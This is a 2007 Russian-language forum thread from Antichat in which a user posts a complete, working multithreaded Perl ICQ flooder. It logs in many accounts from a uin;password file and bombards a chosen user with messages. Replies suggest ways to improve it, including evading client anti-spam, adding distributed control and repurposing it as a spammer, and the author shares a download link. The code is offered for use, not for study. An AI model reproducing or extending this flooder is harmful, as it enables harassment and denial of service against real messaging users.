ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > ICQ
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

icq_flood.pl beta
  #1  
Старый 03.04.2007, 02:04
BuH@LicH
Новичок
Регистрация: 06.02.2007
Сообщений: 13
Провел на форуме:
83591

Репутация: 40
По умолчанию icq_flood.pl beta

Isis посвящается.

Кроссплатформенный, многопоточный icq flooder. Т.к. написан за 2 часа, возможны ошибки/баги. Если кто-то считает, что его необходимо доделать(и отпишется здесь), то я постараюсь сделать его лучшим в своём роде .
Код:
#!/usr/bin/perl
##################################
##  Script for icq flood
##  thx to CyberLords for sample
##################################
use IO::Socket;
use Thread;
use strict;

##### config #####
our $file = 'uins.txt'; # файл с записями вида uin;pass
our $flood = '22222208'; # кого флудим?
our $send_message='From Russia With Love :-p'; # текст сообщения
our $count = 100; # количество сообщений с одного уина
our $delay = 3; # максимальная задержка отправки сообщений
my $onlain = 5; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
##################
my (@threads, @strings);
my ($uin, $pass, $j, $sl);

open(F,$file); 
@strings=<F> or die print "$! ";
close(F);
$sl = scalar @strings * $onlain;
for ($j=0; $j < scalar @strings; $j++)
{
 ($uin, $pass) = split(/;/, @strings[$j]);
 $threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
 sleep($onlain);
}

for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}

sub icq_flood{
  my ($uin, $password, $sleep, $server, $port) = @_;
  $server = $server || "login.icq.com";
  $port = $port || 5190;
  
  my $client_id = "ICQBasic";
  my $socket = undef;
 
  my $i;
  my $answer_data; # ответ сервера
  my $auth_request; #посылаемый пакет

  my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
  my $data; # данные пакета
  my $BOS_server_address; # ip основного сервера для работы с icq
  my $BOS_server_port; # порт сервера
  my $seq_num = int(rand(0xFFFF));
  
  $data= #(основнные данные)
	"\x00\x00\x00\x01". #версия протокола
	"\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
	"\x00\x02".pack('n',length($password)).xor_password($password). #то же для пароля
	"\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
	"\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
	"\x00\x17".pack('n',2).pack('n',4). # -||-
	"\x00\x18".pack('n',2).pack('n',65). # -||-
	"\x00\x19".pack('n',2).pack('n',1). # -||-
	"\x00\x1A".pack('n',2).pack('n',3281). # -||-
	"\x00\x14".pack('n',4).pack('N',85). # -||-
	"\x00\x0F".pack('n',2)."en". # язык клиента
	"\x00\x0E".pack('n',2)."us"; # страна клмента

  $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  
  socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n"; #создаём сокет
  connect(SOCK,sockaddr_in($port,inet_aton($server))) or return 0;
  SOCK->autoflush(1);
  sysread(SOCK,$answer_data,1024);
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  if ($answer_data !~/\x8e\x00/) {
		print "\n UIN $uin: Authorization error.\n";
	}
  close(SOCK);

  $answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/;
  $BOS_server_address = $1;
  $BOS_server_port = $2;

  undef $data;
  undef $FlAP_header;
  
  $data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;

  socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tcp')) or die "socket() failed: $!\n";
  connect(SOCK,sockaddr_in($BOS_server_port,inet_aton($BOS_server_address))) or return 0;
  SOCK->autoflush(1);
  sysread(SOCK,$answer_data,1024);
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  
  undef $data;
  undef $FlAP_header;
  
  $data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09\x00\x01\x00\x0a\x00\x01";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  
  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x06".("\x00" x 6);
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,2048);

  undef $data;
  undef $FlAP_header;
  
  $data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;

  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,2048);
  
  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15\x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00\x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x8a";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;

  print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
  sleep($sleep); # Если хотите чтобы флуд начинался сразу же, после выхода уина в он-лайн - закоментируйте данную строчку.
  for ($i=1; $i<$count; $i++)
  {	undef $data;
	undef $FlAP_header;

	my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
	my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x11";
	my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
	$data=$part1.pack('n',length($part2.$part3)+2).$part2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
	$data.="\x00\x03\x00\x00";
	$seq_num = 0 if $seq_num > 65535;
	$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
	$auth_request=$FlAP_header.$data;
	
    print SOCK $auth_request; 
	sysread(SOCK,$answer_data,2048);
	sleep(int(rand($delay)));
  }
}

sub xor_password() {
	my ($password)=@_;
	my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
	my $xored_password;
	my $i=0;

	foreach(split(//,$password)) {
		$xored_password.=$_ ^ $password_xor[$i++];
		$i=0 if $i eq @password_xor;
	}
return $xored_password;
}

sub get_cookies() {
	my ($data)=@_;
	my $cookies;
	my $i=0;
	my $c=0;
	foreach(split(//,$data)) {
		$i=1 if($c eq "\x00" && $_ eq "\x06");
		$cookies.=$_ if $i eq 1;
		$c=$_;
	}
return substr($cookies,3,length($cookies));
}
##################################
## (C)oded by BuH@LicH
##  just4fun...
##################################
ToDo:
- Поддержку Http/Socks прокси
- Возможность отправки сообщений авторизации
- Админку для распределённого флуда

P.S. Спасибо System за оценку кода и указание на ошибки.

Последний раз редактировалось BuH@LicH; 03.04.2007 в 13:13..
 
Ответить с цитированием

  #2  
Старый 03.04.2007, 08:11
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Сначала доделай свой список ToDo , а потом выкладывай =\
И еще......
Если хоть от одного человека я увижу
PHP код:
our $flood '22222208'# кого флудим? 
, то прощайся со своей ацкой.....её будет жестоко выбивать
 
Ответить с цитированием

  #3  
Старый 03.04.2007, 11:11
Woldemar
Познающий
Регистрация: 09.06.2005
Сообщений: 72
Провел на форуме:
348081

Репутация: 20
Отправить сообщение для Woldemar с помощью ICQ
По умолчанию

Бугага ну ты выдал.... сам то тестил что то не хоц нармана работать +1 предыдущему
 
Ответить с цитированием

  #4  
Старый 03.04.2007, 12:34
BuH@LicH
Новичок
Регистрация: 06.02.2007
Сообщений: 13
Провел на форуме:
83591

Репутация: 40
По умолчанию

Цитата:
Сначала доделай свой список ToDo , а потом выкладывай =\
Давайте я буду решать что мне делать, ок?)
Цитата:
её будет жестоко выбивать
Боюсь, боюсь, боюсь...
Цитата:
сам то тестил
Да, конечно. Флудер работает.
Цитата:
что то не хоц нармана работать
Проблема у Вас. Если Вы смотрели код, то должны были догадаться, что флудер сначала выводит все уины онлайн, а только потом начинает флудить.
Если хотите, чтобы флуд начинался сразу же после выхода каждого уина в онлайн, удалите из кода:sleep($sleep);

Последний раз редактировалось BuH@LicH; 03.04.2007 в 12:41..
 
Ответить с цитированием

  #5  
Старый 03.04.2007, 13:19
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме:
7681825

Репутация: 4451


По умолчанию

Первый нормальный екземпл где сразу после CLI_COOKIE не идет CLI_READY , респект )
 
Ответить с цитированием

  #6  
Старый 03.04.2007, 14:35
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

сделай чтоб номер и параметры можно было указывать как аргументы при запуске..

>> undef $data;
>> undef $FlAP_header;

а зачем это?

>> Админку для распределённого флуда

имхо это лишнее для подобного скриптика ) ..вот если станешь его под спамер переделывать, тогда админка не помешает..

и выложи его лучше в виде аттача, ато форум покромсал скриптег немного..

Последний раз редактировалось Digimortal; 03.04.2007 в 14:44..
 
Ответить с цитированием

  #7  
Старый 03.04.2007, 15:15
BuH@LicH
Новичок
Регистрация: 06.02.2007
Сообщений: 13
Провел на форуме:
83591

Репутация: 40
По умолчанию

Цитата:
Сообщение от gemaglabin  
респект )
Спасибо
Цитата:
Сообщение от Digimortal  
сделай чтоб номер и параметры можно было указывать как аргументы при запуске..
Хорошо.
Цитата:
Сообщение от Digimortal  
форум покромсал скриптег немного..
Спасибо большое! Я и не заметил. Возможно из-за этого он и не работал у кого-то.
Скачать можно тут: http://icq-floof123.narod.ru/icq.pl
 
Ответить с цитированием

  #8  
Старый 03.04.2007, 15:54
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

>> Возможно из-за этого он и не работал у кого-то.

а может и потому, что он не флудит на &rc, к примеру..

прикольней можно сделать, чтоб, например, фразы для флуда разные выбирались..
 
Ответить с цитированием

  #9  
Старый 03.04.2007, 16:41
BuH@LicH
Новичок
Регистрация: 06.02.2007
Сообщений: 13
Провел на форуме:
83591

Репутация: 40
По умолчанию

Цитата:
на &rc, к примеру..
Квиповский и крысовский(&rc - имелось ввиду &rQ ?) антиспам не удалось пока вынести этим флудером. Сейчас разбираюсь как старые флудеры выносили уины с антиспамом. &rQ без антиспама вылетает, только что протестил.

Пока посплю схожу, вечерком гляну ещё разок
 
Ответить с цитированием

  #10  
Старый 03.04.2007, 17:02
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

BuH@LicH, скажи свой номер icq или напиши мне
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Opera Mini™ 3.0 Beta Серый Схемы и программы 12 17.06.2007 16:28
Новый вирус выдает себя за IE7 beta 2 Sadman Мировые новости 1 04.04.2007 17:39
Kaspersky Anti-Virus Wks v6.0.2.546 beta + Extras + KAV Keys & Skins ProstoMAN Защита ОС: вирусы, антивирусы, файрволы. 2 13.01.2007 00:06
Вышел новый Internet Explorer 7 Beta 2 bxN5 Мировые новости 0 25.04.2006 20:17
Visual Studio 2005 Beta Experience w00d Soft - Windows 13 24.12.2005 20:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ